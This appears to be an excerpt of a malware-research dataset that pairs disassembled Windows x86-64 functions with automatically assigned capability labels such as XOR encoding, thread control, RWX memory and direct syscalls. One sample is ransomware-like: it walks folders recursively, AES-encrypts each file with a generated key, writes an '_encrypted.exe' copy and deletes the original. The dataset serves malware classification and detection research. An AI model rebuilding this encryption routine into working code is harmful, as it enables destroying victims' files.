joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b9cd0
Capabilities:
Encode data using xor

Disassembly:
mov al, 0xb5
mov r8, rcx
xor edx, edx
mov ecx, edx
and ecx, 0x3f
mov r9, r8
shr r9, cl
and r9b, 0xff
xor al, r9b
add edx, 1
cmp edx, 8
jne 0x4b9cd7
nop
ret

Function at 0x5041b0
Capabilities:
Resume thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x20], rcx
mov byte [rbp + 0x2f], dl
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
nop
mov rax, qword [rbp + 0x20]
movzx rax, byte [rax + 0x19]
movzx rcx, byte [rbp + 0x2f]
or al, cl
test al, al
je 0x504242
mov rax, qword [rbp + 0x20]
cmp byte [rax + 0x1d], 0
jne 0x504242
mov rax, qword [rbp + 0x20]
cmp byte [rax + 0x40], 0
jne 0x504242
mov rax, qword [rbp + 0x20]
mov byte [rax + 0x1b], 0
mov byte [rax + 0x19], 0
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x50426c
lea rcx, [rbp + 0x38]
mov rdx, qword [0x00602000]
call fcn.00415f50
mov rcx, qword [0x004cf310]
mov dl, 1
mov r8, qword [rbp + 0x38]
call fcn.00434d10
mov rcx, rax
call fcn.0040d700
jmp 0x50426c
lea rcx, [rbp + 0x30]
mov rdx, qword [0x00602000]
call fcn.00415f50
mov rcx, qword [0x004cf310]
mov dl, 1
mov r8, qword [rbp + 0x30]
call fcn.00434d10
mov rcx, rax
call fcn.0040d700
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040e6b0
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x504de0
Capabilities:
Suspend thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x50], rcx
mov rax, qword [rbp + 0x50]
movzx rax, byte [rax + 0x1b]
mov byte [rbp + 0x3f], al
nop
mov rax, qword [rbp + 0x50]
mov byte [rax + 0x1b], 1
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_SuspendThread
mov rcx, qword [rbp + 0x50]
test eax, eax
setge dl
call fcn.00503ff0
jmp 0x504e3b
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x504e60
Capabilities:
Resume thread

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rcx, qword [rbx + 0x10]
call sub.kernel32.dll_ResumeThread
mov esi, eax
mov rcx, rbx
test esi, esi
setge dl
call fcn.00503ff0
cmp esi, 1
jne 0x504e8a
mov byte [rbx + 0x1b], 0
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x140005460
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140005494
cmp word [rcx], 0x5a4d
jne 0x140005494
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140005494
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005494
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400053a0
test eax, eax
jne 0x1400054b0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140005410
test rax, rax
je 0x1400054a5
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140005c59
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140005b60
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005b00
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005fb4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1409b99b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1409b99b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140006002
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140005ffa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400060e9
inc ebx
add rax, 0x28
jmp 0x140005fda
mov rcx, r12
call fcn.1400067e1
mov rbp, rax
test rax, rax
jne 0x140006021
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140005f50
movsxd rbx, ebx
mov rax, qword [0x1409b99b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000688f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1409b99b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140006083
mov rax, qword [0x1409b99b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140005f50
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400060e3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400060e3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1409b99b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400060e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140005f50
inc dword [0x1409b99b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140006510
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1409b9a20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409b9a00]
test rbx, rbx
je 0x14000655c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140006556
test eax, eax
jne 0x140006556
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x14000652e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140006710
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140006733
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140006733
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140006734
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000676e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140006765
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140006770
inc r8d
add rax, 0x28
jmp 0x14000674c
xor eax, eax
ret

Function at 0x1400067e1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409b1490]
mov r8, rcx
mov rcx, r9
call fcn.140006710
test eax, eax
je 0x14000680d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140006734
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001840
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
lea rdx, str._s.
lea rcx, [rsp + 0x160]
call fcn.140001080
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000191e
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x4c]
mov r8, rdi
lea rdx, str._s_s
lea rcx, [rsp + 0x160]
call fcn.140001080
cmp byte [rsp + 0x4c], 0x2e
je 0x140001903
test byte [rsp + 0x20], 0x10
lea rcx, [rsp + 0x160]
je 0x1400018fe
call fcn.140001840
jmp 0x140001903
call fcn.140001940
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400018b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400078e0
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret
Function at 0x140001940
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
mov eax, 0x1180
call fcn.140008740
sub rsp, rax
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x1170], rax
xor ebp, ebp
xor r9d, r9d
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001b48
mov r8, rsi
mov qword [rsp + 0x1198], rdi
lea rdx, str._s_encrypted.exe
lea rcx, [rsp + 0x60]
call fcn.140001080
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b40
mov r9d, 0x18
mov qword [rsp + 0x48], rbp
xor r8d, r8d
mov qword [rsp + 0x50], rbp
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140001b85
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x50]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x140001b78
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov r8d, 0x1000
lea rdx, [rsp + 0x170]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001b0d
nop dword [rax]
cmp dword [rsp + 0x40], ebp
jbe 0x140001b0d
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], 0x1000
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x170]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001b6d
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x58]
lea rdx, [rsp + 0x170]
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov r8d, 0x1000
lea rdx, [rsp + 0x170]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001a80
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdi, qword [rsp + 0x1198]
mov rcx, qword [rsp + 0x1170]
xor rcx, rsp
call fcn.1400078e0
lea r11, [rsp + 0x1180]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rsi
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b40
Function at 0x140003930
Capabilities:
Execute command
Get common file path

Disassembly:
sub rsp, 0x368
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x350], rax
call fcn.140001ba0
call fcn.140002ab0
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rax, [rsp + 0x140]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rsp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rcx, [rsp + 0x30]
call fcn.140001840
lea rcx, str.Oh__ho__you_got_it_n
call fcn.140001020
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.1400078e0
add rsp, 0x368
ret

Function at 0x140003fc0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140003fe8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000400e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004010
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004069
test ecx, ecx
jle 0x140004049
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004069
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004069
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140004090
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400040b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400040c8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400040e4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400040e6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004122
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400041be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000415d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000419e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400041be
cmp rbx, rax
ja 0x140004170
test rbx, rbx
je 0x1400041be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400045e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000460d
xor eax, eax
jmp 0x140004779
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140004647
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140004647
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140004779
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000476c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000468a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400046b5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140004771
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004724
sub eax, 1
je 0x140004724
cmp eax, 2
jne 0x14000476c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140004771
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140004752
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000476c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140004771
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400078e0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140005350
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005423
cmp byte [rcx + 0x71], 0
je 0x140005423
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000541f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400053e4
sub eax, 1
je 0x1400053e8
cmp eax, 2
jne 0x14000541f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400078e0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005416
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000541f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400053cc
xor al, al
jmp 0x1400053cc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400078e0
add rsp, 0x60
pop rbx
ret

Function at 0x14000826c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400082b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400082b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400082b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400082b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400082b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400082b8
xor al, al
add rsp, 0x28
ret
Function at 0x140010b50
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rdi, rdx
mov rbp, rcx
mov edx, 0x2930
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140010baa
mov edx, 0x2930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualLock]
nop
mov edx, 0x100
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140010bdd
mov edx, 0x100
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualLock]
nop
test rsi, rsi
je 0x140010c9b
test rbx, rbx
je 0x140010c9b
mov r9d, 2
lea r8d, [r9 + 0x3e]
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov rax, qword [rbp + 8]
mov rdx, qword [rax + 0x28]
movsxd r8, dword [rdx]
add rdx, 4
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x80]
call fcn.1400153e0
mov r8, rsi
mov edx, dword [rdi + 0x52]
mov rcx, rbx
call fcn.14001a650
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8d, 0x800
mov rdx, rdi
mov rcx, rdi
call qword [rsi + 0x2920]
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0xb0]
movups xmmword [rdi + 0x30], xmm1
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, 0x800
mov rdx, rdi
call qword [rax + 0x30]
xor ebp, ebp
jmp 0x140010cac
lea rcx, str.Malloc_Failed_n
call fcn.14000f040
mov ebp, 0xd
test rbx, rbx
je 0x140010d05
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jne 0x140010cf3
cmp qword [rsp + 0x50], rbx
jne 0x140010cf3
cmp qword [rsp + 0x58], rbx
jne 0x140010cf3
mov rdi, rbx
xor eax, eax
mov rcx, qword [rsp + 0x68]
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
test rsi, rsi
je 0x140010d5d
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jne 0x140010d4c
cmp qword [rsp + 0x50], rsi
jne 0x140010d4c
cmp qword [rsp + 0x58], rsi
jne 0x140010d4c
mov rdi, rsi
xor eax, eax
mov rcx, qword [rsp + 0x68]
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebp
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14001ef00
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001a920
Capabilities:
Encrypt data using aes via x86 extensions
Reference processor manufacturer constants

Disassembly:
push rbx
sub rsp, 0x10
xor ecx, ecx
mov r8d, 1
mov eax, r8d
cpuid
mov dword [rsp + 0xc], edx
bt ecx, 0x19
jb 0x14001a9a0
test ecx, ecx
jns 0x14001a9a9
xor ecx, ecx
mov eax, 0x40000000
cpuid
cmp ebx, 0x7263694d
jne 0x14001a9a9
cmp ecx, 0x666f736f
jne 0x14001a9a9
cmp edx, 0x76482074
jne 0x14001a9a9
movdqa xmm0, xmmword [0x140024f00]
movabs rcx, 0x5f77774d4b7b7b54
aesenc xmm0, xmmword [0x140024f10]
movq rax, xmm0
movdqa xmmword [rsp], xmm0
cmp rax, rcx
jne 0x14001a99d
movabs rax, 0x63636367427c7c58
cmp qword [rsp + 8], rax
je 0x14001a9a0
xor r8d, r8d
mov eax, r8d
add rsp, 0x10
pop rbx
ret
xor eax, eax
add rsp, 0x10
pop rbx
ret

Function at 0x14001abe0
Capabilities:
Get file size

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14002a010]
